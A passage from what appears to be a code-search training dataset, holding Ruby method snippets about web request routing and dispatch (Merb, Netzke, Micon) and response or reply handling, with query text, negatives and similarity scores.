"def run url\n # We need to tell Micon about the `:request` scope, so the `:request` component will be\n # destroyed automatically.\n micon.activate :request, {} do\n self.request = Request.new url\n\n # Using router to get controller class and method from the url.\n # Note that You using the `:router` component as if it's just an attribute.\n controller_class, method = router.decode url\n\n # Creating controller and calling it to generate output.\n controller = controller_class.new\n\n # Note we don't need to explicitly pass the `request` to controller, it will be automatically injected.\n controller.send method\n end\n end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def handle(http_request, response)\n start = Time.now\n request = Merb::Request.new(http_request)\n Merb.logger.info(\"Params: #{request.params.inspect}\")\n Merb.logger.info(\"Cookies: #{request.cookies.inspect}\")\n # user friendly error messages\n if request.route_params.empty?\n raise ControllerExceptions::BadRequest, \"No routes match the request\"\n elsif request.controller_name.nil?\n raise ControllerExceptions::BadRequest, \"Route matched, but route did not specify a controller\" \n end\n Merb.logger.debug(\"Routed to: #{request.route_params.inspect}\")\n # set controller class and the action to call\n klass = request.controller_class\n dispatch_action(klass, request.action, request, response)\n rescue => exception\n Merb.logger.error(Merb.exception(exception))\n exception = controller_exception(exception)\n dispatch_exception(request, response, exception)\n end",
"def endpoint_dispatch(endpoint_path)\n component_name, *sub_components = endpoint_path.split('__')\n component_instance = Netzke::Base.instance_by_config(Netzke::Core.session[:netzke_components][component_name.to_sym])\n\n # We render text/plain, so that the browser never modifies our response\n response.headers[\"Content-Type\"] = \"text/plain; charset=utf-8\"\n\n render :text => component_instance.invoke_endpoint(sub_components.join(\"__\"), params), :layout => false\n end",
"def invoke_action(name)\n self.send(name)\n render(name.to_s) unless already_built_response?\n end",
"def handle\n @response.response_code = response_code\n @response.content = view\n @response.layout = set_layout\n @response.output_format = @request.path_info.split(\".\").last\n end",
"def route\n @extname = File.extname(request.path_info)\n @extname = nil if @extname.empty?\n args = super\n\n unless args.empty? || extname == nil\n args.last.chomp!(extname)\n end\n\n args\n end",
"def GET; end",
"def splash()\n\t\[email protected]('/')\n\t\[email protected]('/var/widgets.json?callback=define')\n\t\[email protected]('/system/me?_charset_=utf-8')\n\t\[email protected]('/tags/directory.tagged.json?_charset_=utf-8&_=1342651726188')\n\t\[email protected]('/var/search/activity/all.json?items=12&_charset_=utf-8&_=1342651726197')\n\t\[email protected]('/var/search/public/random-content.json?page=0&items=10&tag=&type=c&_charset_=utf-8&_=1342651726201')\n\t\[email protected]('/var/templates/worlds.2.json?_charset_=utf-8')\n end",
"def invoke_action(name)\n send(name)\n unless @already_built_response\n render (name)\n end\n end",
"def recognize(request, path = request.path)\n response = @root.find(request, path, @splitter.split(path))\n if response && !response.path.dynamic?\n response.path.cached_response = response\n end\n response\n end",
"def show\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHECK_AUTHORIZE (did not find instance)\n # authorize @periodic_bundle_logger\n @dataservice_bundle_logger = Dataservice::PeriodicBundleLogger.find(params[:id])\n eportfolio_bundle = @dataservice_bundle_logger.sail_bundle\n # FIXME How do we now associate launch process events since bundle_content != session?\n # For now, the in_progress_bundle is still being created, so just use that.\n if ipb = @dataservice_bundle_logger.learner.bundle_logger.in_progress_bundle\n launch_event = Dataservice::LaunchProcessEvent.create(\n :event_type => Dataservice::LaunchProcessEvent::TYPES[:bundle_requested],\n :event_details => \"Learner session data loaded. Loading activity content...\",\n :bundle_content => ipb\n )\n end\n NoCache.add_headers(response.headers)\n respond_to do |format|\n # format.html # show.html.erb\n format.xml { render :xml => eportfolio_bundle }\n format.bundle {render :xml => eportfolio_bundle }\n end\n end"
] | [
"0.5614783",
"0.56004274",
"0.5478348",
"0.5181845",
"0.5175803",
"0.51520324",
"0.5136218",
"0.5108478",
"0.5082092",
"0.5082092",
"0.5082092",
"0.50743157",
"0.50728375",
"0.5038304",
"0.5035027",
"0.5032285",
"0.5025611",
"0.50228494",
"0.5017056",
"0.5011123",
"0.49661914",
"0.49467424",
"0.4930714",
"0.4927365",
"0.4927365",
"0.49248633",
"0.4924377",
"0.4905209",
"0.49015453",
"0.48735425",
"0.48631173",
"0.48574993",
"0.4841654",
"0.4834128",
"0.48235613",
"0.48223573",
"0.4809963",
"0.48079932",
"0.48012894",
"0.4796795",
"0.479026",
"0.47876224",
"0.47870997",
"0.4784378",
"0.47841576",
"0.4776991",
"0.4773279",
"0.47726044",
"0.47726044",
"0.47684956",
"0.47584912",
"0.47525215",
"0.47517842",
"0.47431663",
"0.47429988",
"0.47390598",
"0.47174364",
"0.4717264",
"0.471509",
"0.47144538",
"0.4700421",
"0.4689886",
"0.46894765",
"0.46879777",
"0.46857527",
"0.46811378",
"0.4676899",
"0.46534574",
"0.46531233",
"0.46414307",
"0.46251044",
"0.46203047",
"0.46130964",
"0.46098298",
"0.46087196",
"0.4607336",
"0.4592655",
"0.45865846",
"0.45861298",
"0.45853025",
"0.45840296",
"0.45840296",
"0.45840296",
"0.45840296",
"0.45840296",
"0.45840296",
"0.45840296",
"0.45840296",
"0.45840296",
"0.45840296",
"0.45840296",
"0.45715743",
"0.45665666",
"0.45654842",
"0.45591784",
"0.45588684",
"0.4555294",
"0.45500588",
"0.4548474",
"0.45477405",
"0.45467407"
] | 0.0 | -1 |
Return a humanreadable representation of the receiver as a String. | def inspect
return "#<%s:0x%x config: %s>" % [
self.class.name,
self.object_id,
@config.name,
]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n toString()\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n toString\n end",
"def to_s\n return self.message\n end",
"def to_s\n string\n end",
"def to_s\n\t\t\t@string\n\t\tend",
"def to_s(*) end",
"def to_s(*) end",
"def to_s(*) end",
"def to_s\n to_text\n end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s\n \"#{who_name} #{what}\"\n end",
"def to_s\n @full_message\n end",
"def to_s\n @message.to_s\n end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s\n message\n end",
"def to_s\n message\n end",
"def to_s\n message\n end",
"def to_s\n message\n end",
"def to_s\n message\n end",
"def to_s\n message\n end",
"def to_s\n message\n end",
"def to_s\n message\n end",
"def to_s\n self.inspect\n end",
"def to_s\n stringify\n end",
"def to_s\n @message\n end",
"def to_s\n @message\n end"
] | [
"0.76251346",
"0.76251346",
"0.76251346",
"0.76251346",
"0.7618669",
"0.75820905",
"0.75820905",
"0.75820905",
"0.75820905",
"0.75615007",
"0.75188076",
"0.7509071",
"0.7470543",
"0.74367434",
"0.74367434",
"0.74367434",
"0.74303305",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74298364",
"0.74296564",
"0.742556",
"0.74199057",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7411629",
"0.7373403",
"0.7373403",
"0.7373403",
"0.7373403",
"0.7373403",
"0.7373403",
"0.7373403",
"0.7373403",
"0.7367495",
"0.73642707",
"0.735855",
"0.735855"
] | 0.0 | -1 |
By default, exceptions don't get forwarded to a fail queue (they get returned to the caller) | def default_fail_queue_target
false
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def push_to_queue(queue, item)\n queue.push(item)\nrescue Exception => e\n puts \"Rescued #{e}\"\nend",
"def fail\n # no-op\n end",
"def failure\n @back.pop.call\n end",
"def event_processing_failed(exception, payload, raw_payload, dead_letter_queue_name)\n # do nothing\n end",
"def catch_exceptions; end",
"def failure\n if $DEBUG\n @__num_of_tries ||= 1\n @__num_of_tries += 1\n end\n back_amb.pop.call\n end",
"def test_connection_work_queue_raise\n c = ServerContainer.new(__method__)\n c.connect(c.url)\n c.work_queue.add { raise \"BROKEN\" }\n assert_equal(\"BROKEN\", (assert_raises(RuntimeError) { c.run }).to_s)\n end",
"def fail\n end",
"def report error_event\n async_start\n\n synchronize do\n @queue.push error_event\n @queue_resource.broadcast\n\n retries = 0\n while @max_queue_size && @queue.size > @max_queue_size\n retries += 1\n @queue_resource.wait 1\n\n # Drop early queue entries when have waited long enough.\n @queue.pop while @queue.size > @max_queue_size && retries > 3\n end\n end\n end",
"def handle_perform_error(_e); end",
"def abort_on_exception=(*) end",
"def do_failure; end",
"def failure\n @__num_of_tries ||= 0\n @__num_of_tries += 1\n back_amb.pop.call\n end",
"def continued_exception; end",
"def abort_on_exception(*) end",
"def pop_exception\n exception_queue.shift\n end",
"def exceptions; end",
"def run_and_raise_on_failure\n # TODO ?\n end",
"def fail!\n @__result.fail!\n throw :fail\n end",
"def fail_queue(target, opts={})\n @fail_queue_target = target\n end",
"def fail_queue(target, opts={})\n @fail_queue_target = name\n end",
"def post_fail_message; end",
"def wrapped_exception; end",
"def execute\n queue.get\n rescue Java::JavaLang::Throwable => e\n raise decomposeException(e)\n end",
"def raise_if_failures\n raise exceptions.first if failures.any?\n end",
"def standard_exception_handling\n begin\n yield\n rescue SystemExit => ex\n # Exit silently with current status\n @task_queue.stop\n raise\n rescue OptionParser::InvalidOption => ex\n # Exit silently\n @task_queue.stop\n exit(false)\n rescue Exception => ex\n # Exit with error message\n name = \"pwrake\"\n $stderr.puts \"#{name} aborted!\"\n $stderr.puts ex.message\n if Rake.application.options.trace\n $stderr.puts ex.backtrace.join(\"\\n\")\n else\n $stderr.puts ex.backtrace.find {|str| str =~ /#{@rakefile}/ } || \"\"\n $stderr.puts \"(See full trace by running task with --trace)\"\n end\n @task_queue.stop\n exit(false)\n end\n end",
"def handle_failure(queue, name, request, exception, execution_time)\n event = LogStash::Event.new\n apply_metadata(event, name, request)\n\n event.tag(\"_http_request_failure\")\n\n # This is also in the metadata, but we send it anyone because we want this\n # persisted by default, whereas metadata isn't. People don't like mysterious errors\n event.set(\"http_request_failure\", {\n \"request\" => structure_request(request),\n \"name\" => name,\n \"error\" => exception.to_s,\n \"backtrace\" => exception.backtrace,\n \"runtime_seconds\" => execution_time\n })\n\n queue << event\n rescue StandardError, java.lang.Exception => e\n @logger.error? && @logger.error(\"Cannot read URL or send the error as an event!\",\n :exception => e,\n :exception_message => e.message,\n :exception_backtrace => e.backtrace,\n :name => name,\n :url => request\n )\n end",
"def default_fail_queue_target\n true\n end",
"def handle_failure(queue, name, request, exception, execution_time)\n event = LogStash::Event.new\n apply_metadata(event, name, request)\n\n event.tag(\"_http_request_failure\")\n\n # This is also in the metadata, but we send it anyone because we want this\n # persisted by default, whereas metadata isn't. People don't like mysterious errors\n event.set(\"http_request_failure\", {\n \"request\" => structure_request(request),\n \"name\" => name,\n \"error\" => exception.to_s,\n \"backtrace\" => exception.backtrace,\n \"runtime_seconds\" => execution_time\n })\n\n queue << event\n rescue StandardError, java.lang.Exception => e\n @logger.error? && @logger.error(\"Cannot read URL or send the error as an event!\",\n :exception => e,\n :exception_message => e.message,\n :exception_backtrace => e.backtrace,\n :name => name)\n\n # If we are running in debug mode we can display more information about the\n # specific request which could give more details about the connection.\n @logger.debug? && @logger.debug(\"Cannot read URL or send the error as an event!\",\n :exception => e,\n :exception_message => e.message,\n :exception_backtrace => e.backtrace,\n :name => name,\n :url => request)\n end",
"def handle_failure(queue, name, request, exception, execution_time)\n event = LogStash::Event.new\n apply_metadata(event, name, request)\n\n event.tag(\"_http_request_failure\")\n\n # This is also in the metadata, but we send it anyone because we want this\n # persisted by default, whereas metadata isn't. People don't like mysterious errors\n event[\"http_request_failure\"] = {\n \"request\" => structure_request(request),\n \"name\" => name,\n \"error\" => exception.to_s,\n \"backtrace\" => exception.backtrace,\n \"runtime_seconds\" => execution_time\n }\n\n queue << event\n rescue StandardError, java.lang.Exception => e\n @logger.error? && @logger.error(\"Cannot read URL or send the error as an event!\",\n :exception => e,\n :exception_message => e.message,\n :exception_backtrace => e.backtrace,\n :name => name,\n :url => request\n )\n end",
"def errback &block\n super\n end",
"def errback &block\n super\n end",
"def run_failed; end",
"def fail\n\t\t# throw up this code and feed plezi your own lines :)\n\t\traise \"Plezi raising hell!\"\n\tend",
"def handle_failure(output_queue, name, request, exception, execution_time)\n event = LogStash::Event.new\n apply_metadata(event, name, request)\n\n event.tag('_http_request_failure')\n\n # This is also in the metadata, but we send it anyone because we want this\n # persisted by default, whereas metadata isn't. People don't like mysterious errors\n event['http_request_failure'] = {\n 'request' => structure_request(request),\n 'name' => name,\n 'error' => exception.to_s,\n 'backtrace' => exception.backtrace,\n 'runtime_seconds' => execution_time\n }\n\n output_queue << event\n rescue StandardError, java.lang.Exception => e\n @logger.error? && @logger.error('Cannot read URL or send the error as an event!',\n :exception => e,\n :exception_message => e.message,\n :exception_backtrace => e.backtrace,\n :name => name,\n :url => request\n )\n end",
"def continued_exception=(_arg0); end",
"def fail(*rest) end",
"def failure\n super\n end",
"def fail(*args)\n super(*args)\n end",
"def fail!\n @__result.fail!\n throw :fail\n end",
"def rescue_action(e); raise e; end",
"def abort_on_exception=(_arg0); end",
"def handle_failure(queue, request, exception, execution_time)\n event = LogStash::Event.new\n apply_metadata(event, request)\n\n event.tag(\"_sdee_failure\")\n\n # This is also in the metadata, but we send it anyone because we want this\n # persisted by default, whereas metadata isn't. People don't like mysterious errors\n event.set(\"[sdee_failure]\", {\n \"request\" => structure_request(request),\n \"error\" => exception.to_s,\n \"backtrace\" => exception.backtrace,\n \"runtime_seconds\" => execution_time\n })\n\n queue << event\n rescue StandardError, java.lang.Exception => e\n @logger.error? && @logger.error(\"Cannot read URL or send the error as an event!\",\n :exception => e,\n :exception_message => e.message,\n :exception_backtrace => e.backtrace,\n :url => request\n )\n end",
"def default_fail_queue_target\n true\n end",
"def on_failure(object, *args); end",
"def fail_queued_messages(error)\n error = Ably::Exceptions::MessageDeliveryFailed.new(\"Queued messages on channel '#{channel.name}' in state '#{channel.state}' will never be delivered\") unless error\n fail_messages_in_queue connection.__outgoing_message_queue__, error\n end",
"def failures; end",
"def failures; end",
"def failures; end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def failure\n super\n end",
"def pass_exception\n throw :next_exception_handler\n end",
"def raise(exception); end",
"def failure\n end",
"def fail\n @failed = true\n end",
"def error_handler(*args)\r\n puts \"1. Doing this, then yielding to the block\"\r\n yield\r\n # The following will run only if there wasn't an error.\r\n # Otherwise, we move straight to +rescue+\r\n puts \"3b. The block has finished running without an error\"\r\nrescue StandardError => ex\r\n puts ex.message\r\n puts \"4. If an error was raised, we retry this entire method, so ..\\n\"\r\n retry\r\nend",
"def exception_handler; end",
"def handle_errors(interactor)\n interactor.call\n rescue Errors::Base => e\n context.fail!(resource: e, status: e.status)\n end",
"def failure!\n end",
"def fail(reason)\n end",
"def failure_message_continuation; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def recover_from(_error); end",
"def error(exception) nil ; end",
"def original_exception; end",
"def check_for_failures\n # Lock in_progress queue or return\n num_in_progress = _redis.llen(@in_progress_queue)\n if num_in_progress == 0\n RailsPipeline.logger.debug \"No messages in progress, skipping check for failures\"\n return\n end\n\n RailsPipeline.logger.debug \"Locking '#{@in_progress_queue}' for #{num_in_progress} seconds\"\n\n # Attempt to lock this queue for the next num_in_progress seconds\n lock_key = \"#{@in_progress_queue}__lock\"\n locked = _redis.set(lock_key, _client_id, ex: num_in_progress, nx: true)\n if !locked\n RailsPipeline.logger.debug \"in progress queue is locked\"\n return\n end\n\n # Go through each message, see if there's a 'report' entry. If not,\n # requeue!\n in_progress = _redis.lrange(@in_progress_queue, 0, num_in_progress)\n in_progress.each do |message|\n enc_message = EncryptedMessage.parse(message)\n owner = _redis.get(_report_key(enc_message.uuid))\n if owner.nil?\n RailsPipeline.logger.info \"Putting timed-out message #{enc_message.uuid} back on main queue\"\n _put_back_on_queue(message)\n else\n RailsPipeline.logger.debug \"Message #{uuid} is owned by #{owner}\"\n end\n end\n end",
"def rescue_from(exception); end",
"def on_error(err)\n raise err\n end",
"def process_with_graceful_fail(cmd, options, *klass); end",
"def errorhandling\n end",
"def exception_occurred_in_worker(exception)\n @exceptions << exception\n @main_queue.dispatch { raise @exceptions.pop }\n @requests.value = @http.active_stream_count\n end",
"def fail!(msg = nil)\r\n @success = false\r\n @misses.push msg unless msg.nil?\r\n end",
"def reraise\n raise $!.class, $!.message, caller[1..-1]\nend",
"def on_fail( &block )\n @on_fail_blocks ||= []\n @on_fail_blocks << block\n end",
"def storage_failure=(_arg0); end",
"def fail!\n @failed = true\n end",
"def error_in_submission(pid, reason)\n throw reason\n end",
"def error job, exception\n if tracetop = exception.backtrace&.first\n # Extract the file and line # from the stack top\n tracetop = \" at<br>\" + tracetop.match(/(.*:[\\d]*)/).to_s.if_present || tracetop\n tracetop.sub! Rails.root.to_s+'/', ''\n end\n errors.add :base, exception.to_s+tracetop\n self.status = :bad if processing? # ...thus allowing others to set the status\n end",
"def fail(task, error)\n raise error\n end",
"def safely(&block)\r\n begin\r\n yield\r\n rescue Exception => e\r\n if e.message =~ /connection was aborted/\r\n puts \" [yp searcher] Error: #{e} #{e.message}. Continuing.\"\r\n end\r\n end\r\n end",
"def fail\n _redis_lua_run(\n 'batch_fail',\n keys: [_batch_key])\n end",
"def processerror(exception)\n case exception\n\n when RestClient::NotAcceptable #406\n raise RequestFailureException, \"Request failure\"\n when RestClient::Unauthorized #401\n raise RequestFailureException, \"Unauthorized access\"\n when RestClient::ResourceNotFound #404\n raise RequestFailureException, \"Incorrect request parameters. Check your url and the input xml\"\n when RestClient::InsufficientStorage # 507\n raise RequestFailureException, \"Account is full.User cannot make any more requests\"\n when RestClient::ServiceUnavailable # 503 => 'Service Unavailable',\n raise RequestFailureException, \"Your API has been throttled for now. Please try again later\"\n\n when ArgumentError\n raise exception\n\n else\n puts exception.message\n raise UnhandledException\n\n\n end\n\n end",
"def failures=(_arg0); end",
"def failures=(_arg0); end",
"def may_fail # block\n begin\n yield\n rescue\n end\nend",
"def work_exception(job_handle, data = nil)\n send_client :work_exception, job_handle, data\n\n job = worker_queue.dequeue job_handle\n job.status = \"Exception\"\n job.result = data\n job.save\n \n end",
"def test_exceptions\n pool = ThreadPool.new(10)\n\n deep_exception_block = lambda do |count|\n next raise Exception.new if ( count < 1 )\n pool.future(count-1, &deep_exception_block).value\n end\n\n assert_raises(Exception) do\n pool.future(2, &deep_exception_block).value\n end\n\n end",
"def exit_exception; end",
"def unsuccessful\n end",
"def onerror(&blk); super; end",
"def postQueueError( queue_id, error)\n params = Hash.new\n params['queue_id'] = queue_id\n params['error'] = error\n return doCurl(\"post\",\"/queue/error\",params)\n end",
"def example_failed(_)\n end",
"def exceptions\n end"
] | [
"0.7095811",
"0.6775115",
"0.6749722",
"0.6628479",
"0.6571805",
"0.6558655",
"0.6524011",
"0.65215987",
"0.6507731",
"0.645286",
"0.6437736",
"0.64216727",
"0.639104",
"0.6375339",
"0.6373629",
"0.63359565",
"0.6332952",
"0.6310929",
"0.6310027",
"0.6276768",
"0.6267952",
"0.6261918",
"0.6249009",
"0.62375456",
"0.6220505",
"0.62129366",
"0.62071615",
"0.6197146",
"0.61933035",
"0.6184325",
"0.61796176",
"0.61796176",
"0.6174468",
"0.617124",
"0.6165298",
"0.6152553",
"0.6136381",
"0.61255074",
"0.61221653",
"0.6117484",
"0.61160475",
"0.61119664",
"0.6094736",
"0.6084277",
"0.60778964",
"0.60666996",
"0.6049198",
"0.6049198",
"0.6049198",
"0.60379624",
"0.60379624",
"0.60379624",
"0.60379624",
"0.60298723",
"0.60200703",
"0.59852815",
"0.59795696",
"0.5975098",
"0.59705085",
"0.5960588",
"0.59537226",
"0.59423745",
"0.59415543",
"0.5927733",
"0.5922616",
"0.5922616",
"0.5922616",
"0.5922616",
"0.5922616",
"0.5916921",
"0.589769",
"0.5880823",
"0.5863547",
"0.5860625",
"0.5843568",
"0.5837818",
"0.58364344",
"0.58341825",
"0.58331335",
"0.583051",
"0.5828607",
"0.58130014",
"0.5796588",
"0.57879627",
"0.5777098",
"0.5773429",
"0.57646984",
"0.57629895",
"0.5757915",
"0.57520086",
"0.57520086",
"0.5749174",
"0.5743613",
"0.57416975",
"0.5732977",
"0.57316774",
"0.5726837",
"0.5726782",
"0.5726196",
"0.57256"
] | 0.59266037 | 64 |
Handle any processing that you want to perform after the reply | def post_request(object)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def process_response!(response)\n\t\t\t\tfinish_request!\n\t\t\t\t\n\t\t\t\tif Exception === response\n\t\t\t\t\[email protected] \"[#{@message.id}] Failure while processing response #{response}!\" if @logger\n\t\t\t\t\tRubyDNS.log_exception(@logger, response) if @logger\n\t\t\t\t\t\n\t\t\t\t\ttry_next_server!\n\t\t\t\telsif response.tc != 0\n\t\t\t\t\[email protected] \"[#{@message.id}] Received truncated response!\" if @logger\n\t\t\t\t\t\n\t\t\t\t\ttry_next_server!\n\t\t\t\telsif response.id != @message.id\n\t\t\t\t\[email protected] \"[#{@message.id}] Received response with incorrect message id: #{response.id}\" if @logger\n\t\t\t\t\t\n\t\t\t\t\ttry_next_server!\n\t\t\t\telse\n\t\t\t\t\[email protected] \"[#{@message.id}] Received valid response #{response.inspect}\" if @logger\n\t\t\t\t\t\n\t\t\t\t\tsucceed response\n\t\t\t\tend\n\t\t\tend",
"def process_response\n job = message.job\n job.data = message.data\n job.message = message.message\n\n if message.ok?\n job.proceed!\n else\n job.error!\n end\n end",
"def finish_response; end",
"def handle_response(response); end",
"def handle_response(response); end",
"def process\n return 'OK' if @email.to.first[:token] == 'example'\n return process_image if @email.to.first[:token] == 'flyers'\n\n token = ReplyToken.find(@email.to.first[:token])\n\n case token.reply_type\n when 'participation_request'\n process_participation_request(token)\n when 'conversation'\n process_conversation(token)\n when 'comment'\n process_comment(token)\n when 'community'\n process_community_reply(token)\n end\n\n track_reply(token)\n\n token.use!\n end",
"def process_response(obj)\n end",
"def receive_response(response); end",
"def reply\n end",
"def process\n caption = response_text\n channel = channel_by_keyword\n channel_group = channel_group_by_keyword\n\n if channel || channel_group\n tmp = response_text.split\n tmp.shift\n caption = tmp.join(\" \")\n end\n\n delivery_notice = nil\n dn_responding_message_unconfigured = nil\n responding_messages_delivery = responding_messages_delivery_with_no_responses(channel, channel_group)\n\n responding_messages_delivery.each do |dn|\n unless dn.message.check_subscriber_response(response_text)\n dn_responding_message_unconfigured = dn\n next\n end\n delivery_notice = dn\n break\n end\n\n delivery_notice ||= dn_responding_message_unconfigured\n delivery_notice ||= last_sent_relevant_delivery(channel, channel_group)\n\n process_delivery_notice(\n delivery_notice,\n caption: caption,\n channel: channel,\n channel_group: channel_group,\n )\n end",
"def process_response(entry)\n entry.messagings.each do |messaging|\n # Set global variable Messenger Sender\n set_sender(messaging.sender_id)\n # Check if user is available to talk with bot or human.\n if bot_service_active?\n if messaging.callback.message?\n receive_message(messaging.callback)\n elsif messaging.callback.delivery?\n puts messaging.callback\n elsif messaging.callback.postback?\n receive_postback(messaging.callback)\n elsif messaging.callback.optin?\n puts messaging.callback\n elsif messaging.callback.account_linking?\n login_or_log_out(messaging.callback)\n end\n # puts Messenger::Client.get_user_profile(messaging.sender_id)\n else\n send_directly_message_without_boot(messaging)\n end\n end\n end",
"def response\n parse_request\n do_something\n put_response\n end",
"def post_process(answer)\n answer\n end",
"def process_msgs\n end",
"def process_response(response)\n @last_response = response.body\n\n logger.debug @last_response if logger.present?\n\n if response.body =~ /:Fault>/ then\n handle_error(response)\n else\n response.body\n end\n end",
"def finish_response\n @channel.push(@response)\n @response = nil\n command\n end",
"def process_response\n case @msg.sip_method\n when :INVITE\n if client_transaction = @msg.connection.class.invite_client_transactions[@msg.via_branch_id]\n client_transaction.receive_response(@msg)\n return\n end\n when :ACK\n when :CANCEL\n if client_transaction = @msg.connection.class.invite_client_transactions[@msg.via_branch_id]\n client_transaction.receive_response_to_cancel(@msg)\n return\n end\n else\n if client_transaction = @msg.connection.class.non_invite_client_transactions[@msg.via_branch_id]\n client_transaction.receive_response(@msg)\n return\n end\n end\n log_system_debug \"ignoring a response non matching a client transaction (#{@msg.sip_method} #{@msg.status_code})\" if $oversip_debug\n end",
"def handle\n respond\n nil\n end",
"def handle_response(response)\n type, msgid, error, result = response\n if observable = @requests[msgid]\n @requests[msgid].set_response(result, error)\n else\n warn \"unknown response with id=#{msgid}\"\n end\n end",
"def process_data\n unless @state.include?(:rcpt)\n send_data \"503 Operation sequence error\\r\\n\"\n else\n succeeded = proc {\n send_data \"354 Send it\\r\\n\"\n @state << :data\n @databuffer = []\n }\n failed = proc {\n send_data \"550 Operation failed\\r\\n\"\n }\n\n d = receive_data_command\n\n if d.respond_to?(:callback)\n d.callback(&succeeded)\n d.errback(&failed)\n else\n (d ? succeeded : failed).call\n end\n end\n end",
"def handle_response(response)\n loop do\n begin\n bytes = @client.write_nonblock(response)\n msg_response\n break if bytes >= response.size\n response.slice!(0, bytes)\n rescue Errno::EAGAIN\n IO.select(nil,[@client], nil)\n retry # spam untill send all\n end\n end\n end",
"def process_message_response\n # Is this email confirming receipt of a previous message? \n msg_id = find_message_id_tag(:subject=>@subject, :body=>@body)\n#puts \"**** body=#{@body}, msg_id=#{msg_id}\"\n if msg_id \n # Does the \"confirmed message\" id actually match a message?\n message = Message.find_by_id(msg_id)\n if message\n msg_tag = message_id_tag(:id => msg_id, :action => :confirm_tag) # e.g. !2104\n search_target = Regexp.new('[\\'\\s\\(\\[]*' + \"#{Regexp.escape(msg_tag)}\" + '[\\'\\s\\.,\\)\\]]*')\n # The main reason to strip out the tag (like !2104) from the message is that it may be the\n # first part of the response, if there is one; e.g. \"!2104 Kafanchan\" replying to a message\n # requesting location. \n user_reply = first_nonblank_line(@body)\n#puts \"**** user_reply='#{user_reply}'\"\n user_reply = user_reply.sub(search_target, ' ').strip if user_reply\n # Mark all members with this email address as having responded to this message\n @possible_senders.each do |a_member|\n message.process_response(:member => a_member, :text => user_reply, :mode => 'email')\n end\n else\n msg_tag = message_id_tag(:id => msg_id, :action => :create, :location => :body)\n Notifier.send_generic(@from_address, I18n.t('error_msg.invalid_confirmation')).deliver\n end\n end\n end",
"def on_server_response(connection, message)\n end",
"def handle_response(response)\n token = response.token\n if response.is_a?(Result)\n if result = OperationResult.from_results(response)\n if result.non_delivery?\n @non_delivery_stats.update(result.content.nil? ? \"nil\" : result.content.inspect)\n elsif result.error?\n @result_error_stats.update(result.content.nil? ? \"nil\" : result.content.inspect)\n end\n @result_stats.update(result.status)\n else\n @result_stats.update(response.results.nil? ? \"nil\" : response.results)\n end\n\n if handler = @pending_requests[token]\n if result && result.non_delivery? && handler.kind == :send_retryable_request &&\n [OperationResult::TARGET_NOT_CONNECTED, OperationResult::TTL_EXPIRATION].include?(result.content)\n # Log and ignore so that timeout retry mechanism continues\n # Leave purging of associated request until final response, i.e., success response or retry timeout\n Log.info(\"Non-delivery of <#{token}> because #{result.content}\")\n else\n deliver(response, handler)\n end\n elsif result && result.non_delivery?\n Log.info(\"Non-delivery of <#{token}> because #{result.content}\")\n else\n Log.debug(\"No pending request for response #{response.to_s([])}\")\n end\n end\n true\n end",
"def process\n # abort if the SMS in question is from one of the incoming SMS numbers\n return if all_incoming_numbers.include?(incoming_msg.from)\n\n self.reply = handle_reply\n self.forward = handle_forward\n end",
"def handle_message(request, message)\n #\n end",
"def handle_response(response)\n handler_for_code(response.code).call(response)\n end",
